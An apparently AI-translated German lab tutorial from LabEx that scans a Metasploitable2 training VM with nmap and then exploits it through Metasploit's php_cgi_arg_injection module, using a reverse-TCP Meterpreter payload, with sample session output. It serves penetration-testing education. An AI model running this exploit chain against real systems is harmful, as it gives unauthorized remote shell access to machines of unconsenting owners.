Durchführung von Schwachstellen-Scans und Penetrationstests mit Nmap in Kali Linux

NmapNmapBeginner
Jetzt üben

💡 Dieser Artikel wurde von AI-Assistenten übersetzt. Um die englische Version anzuzeigen, können Sie hier klicken

Einführung

In diesem Lab lernen Sie, wie Sie mithilfe verschiedener Tools in Kali Linux eine Schwachstellen-Scans (Vulnerability Scans) und Penetrationstests auf einer Zielmaschine durchführen können. Das Ziel besteht darin, praktische Erfahrungen mit beliebten Schwachstellen-Scanning-Tools zu sammeln und zu verstehen, wie Sie die gefundenen Ergebnisse nutzen können, um erfolgreiche Penetrationsangriffe durchzuführen. Das Lab wird auf der LabEx-Plattform durchgeführt. Dort erhalten Sie einen Kali Linux-Container als Angriffsmachine und eine Metasploitable2-Virtuelle Maschine als Ziel.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) nmap/NmapGroup -.-> nmap/port_scanning("Port Scanning Methods") nmap/NmapGroup -.-> nmap/host_discovery("Host Discovery Techniques") nmap/NmapGroup -.-> nmap/target_specification("Target Specification") nmap/NmapGroup -.-> nmap/syn_scan("SYN Scan") nmap/NmapGroup -.-> nmap/service_detection("Service Detection") subgraph Lab Skills nmap/port_scanning -.-> lab-416122{{"Durchführung von Schwachstellen-Scans und Penetrationstests mit Nmap in Kali Linux"}} nmap/host_discovery -.-> lab-416122{{"Durchführung von Schwachstellen-Scans und Penetrationstests mit Nmap in Kali Linux"}} nmap/target_specification -.-> lab-416122{{"Durchführung von Schwachstellen-Scans und Penetrationstests mit Nmap in Kali Linux"}} nmap/syn_scan -.-> lab-416122{{"Durchführung von Schwachstellen-Scans und Penetrationstests mit Nmap in Kali Linux"}} nmap/service_detection -.-> lab-416122{{"Durchführung von Schwachstellen-Scans und Penetrationstests mit Nmap in Kali Linux"}} end

Einrichten der Umgebung

In diesem Schritt starten Sie den Kali Linux-Container und die Metasploitable2-Zielmaschine auf der LabEx-Plattform.

  1. Öffnen Sie ein xfce-Terminal auf der LabEx-Hostmaschine und starten Sie die Metasploitable2-Zielmaschine, indem Sie den folgenden Befehl ausführen:
sudo virsh start Metasploitable2

Warten Sie, bis die Zielmaschine gestartet ist. Dies kann 1-3 Minuten dauern.

  1. Testen Sie die Konnektivität zur Zielmaschine, indem Sie sie pingen:
ping 192.168.122.102

Drücken Sie Ctrl+C, um das Pingen zu stoppen.

  1. Starten Sie den Kali Linux-Container und treten Sie in die bash-Umgebung ein, indem Sie folgenden Befehl ausführen:
docker run -ti --network host b5b709a49cd5 bash
  1. Testen Sie innerhalb des Kali-Containers die Netzwerkverbindung zur Zielmaschine:
ping 192.168.122.102

Drücken Sie Ctrl+C, um das Pingen zu stoppen.

Durchführen von Schwachstellen-Scans mit Nmap

In diesem Schritt lernen Sie einige beliebte Schwachstellen-Scanning-Tools kennen, die in Kali Linux verfügbar sind.

  1. X-scan: X-scan ist ein in China bekanntes umfassendes Scanning-Tool. Es ist vollständig kostenlos, erfordert keine Installation und unterstützt sowohl grafische als auch Befehlszeilen-Schnittstellen in Chinesisch und Englisch. X-scan wurde von einer renommierten chinesischen Hacker-Gruppe namens "Security Focus" entwickelt und wird seit seiner internen Testversion 0.2 im Jahr 2000 ständig verbessert.

  2. Nessus: Nessus ist eine der am weitesten verbreiteten Software für Schwachstellen-Scans und -Analysen weltweit. Über 75.000 Organisationen nutzen Nessus, um ihre Computersysteme zu scannen. Nessus wurde 1998 von Renaud Deraison entwickelt, mit dem Ziel, für die Internet-Community ein kostenloses, leistungsstarkes, regelmäßig aktualisiertes und einfach zu bedienendes Programm für die Sicherheitsüberprüfung von Remote-Systemen bereitzustellen.

  3. SQLmap: SQLmap ist ein automatisches SQL-Injection-Tool, das SQL-Injection-Schwachstellen in einer gegebenen URL scannen, erkennen und ausnutzen kann. Es unterstützt derzeit die Datenbanken MS-SQL, MySQL, Oracle und PostgreSQL. SQLmap verwendet vier einzigartige SQL-Injection-Techniken: Blind-Inferenz, UNION-Abfragen, gestapelte Abfragen und zeitbasierte Blind-Injection.

  4. Nmap: Nmap ist ein leistungsstarkes und vielseitiges Tool zur Netzwerkexploration und Sicherheitsüberprüfung. Es kann für verschiedene Zwecke eingesetzt werden, darunter Netzwerkermittlung, Port-Scanning und Schwachstellen-Erkennung.

Nun verwenden Sie Nmap, um einen Schwachstellen-Scan auf der Metasploitable2-Zielmaschine durchzuführen.

  1. Starten Sie den Metasploit-Datenbankdienst und initialisieren Sie die Datenbank:
cd ~
service postgresql start
msfdb init
  1. Starten Sie die Metasploit-Konsole:
msfconsole
  1. Verwenden Sie innerhalb der Metasploit-Konsole den nmap-Befehl, um die Zielmaschine zu scannen:
nmap -sS -T4 192.168.122.102

Hier ist ein Beispiel für die Ausgabe, die Sie sehen könnten:

[*] exec: nmap -sS -T4 192.168.122.102

Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-23 23:15 UTC
Nmap scan report for 192.168.122.102
Host is up (0.0032s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
1099/tcp open  rmiregistry
1524/tcp open  ingreslock
2049/tcp open  nfs
2121/tcp open  ccproxy-ftp
3306/tcp open  mysql
5432/tcp open  postgresql
5900/tcp open  vnc
6000/tcp open  X11
6667/tcp open  irc
8009/tcp open  ajp13
8180/tcp open  unknown
MAC Address: 52:54:00:1E:9E:B4 (QEMU virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds

Der Parameter -sS führt einen TCP SYN-Scan (auch als Halboffener oder Stealth-Scan bekannt) durch, und -T4 setzt die Timing-Richtlinie auf aggressiv, aber nicht zu schnell, um übermäßigen Netzwerkverkehr zu vermeiden.

  1. Beobachten Sie die Ausgabe des Scans, die die offenen Ports und Dienste auf der Zielmaschine anzeigen sollte.

Drücken Sie Ctrl+D, um die Metasploit-Konsole zu beenden, und starten Sie dann die Prüfung

Ausnutzen einer Schwachstelle

In diesem Schritt nutzen Sie die Informationen aus dem Nmap-Scan, um eine Schwachstelle auf der Metasploitable2-Zielmaschine auszunutzen.

  1. Zunächst sollten Sie, falls Sie nicht bereits in der Metasploit-Konsole sind, die Metasploit-Konsole starten:
cd ~
msfconsole
  1. Identifizieren Sie aus den Nmap-Scanergebnissen einen offenen Port auf der Zielmaschine, beispielsweise Port 80. In der Metasploit-Konsole suchen Sie nach einem Exploit-Modul, das sich auf den offenen Port bezieht:
search http
  1. Verwenden Sie das entsprechende Exploit-Modul:
use exploit/multi/http/php_cgi_arg_injection
  1. Legen Sie die IP-Adresse der Zielmaschine fest:
set RHOST 192.168.122.102
  1. Legen Sie die zu verwendende Payload fest:
set PAYLOAD php/meterpreter/reverse_tcp
  1. Legen Sie die IP-Adresse des lokalen Rechners fest:
set LHOST 192.168.122.1
  1. Führen Sie den Exploit aus:
exploit

Hier ist ein Beispiel für die Ausgabe, die Sie sehen könnten:

[*] Started reverse TCP handler on 192.168.122.1:4444
[*] Sending stage (39927 bytes) to 192.168.122.102
[*] Meterpreter session 1 opened (192.168.122.1:4444 -> 192.168.122.102:38510) at 2024-03-23 23:21:14 +0000
  1. Wenn der Exploit erfolgreich ist, sollten Sie Zugang zum Shell der Zielmaschine erhalten. Überprüfen Sie den Zugang, indem Sie Befehle wie sysinfo ausführen, um Systeminformationen anzuzeigen.

  2. Wenn Sie Zeit haben, können Sie versuchen, andere Schwachstellen-Scanning-Tools wie Nessus, SQLmap oder X-scan zu erkunden. Sie können auch versuchen, verschiedene Schwachstellen auf der Metasploitable2-Zielmaschine auszunutzen.

Drücken Sie Ctrl+D, um die Metasploit-Konsole zu beenden, und starten Sie dann die Prüfung

Zusammenfassung

In diesem Lab haben Sie gelernt, wie Sie eine Kali Linux-Umgebung für Penetrationstests einrichten und beliebte Schwachstellen-Scanning-Tools wie Nmap nutzen können, um potenzielle Schwachstellen in einem Zielsystem zu identifizieren. Sie haben auch praktische Erfahrungen in der Ausnutzung einer Schwachstelle mit dem Metasploit-Framework gesammelt. Diese praktischen Kenntnisse werden Ihnen helfen, die Wichtigkeit von Schwachstellen-Scans und Penetrationstests im Bereich der Cybersicherheit zu verstehen.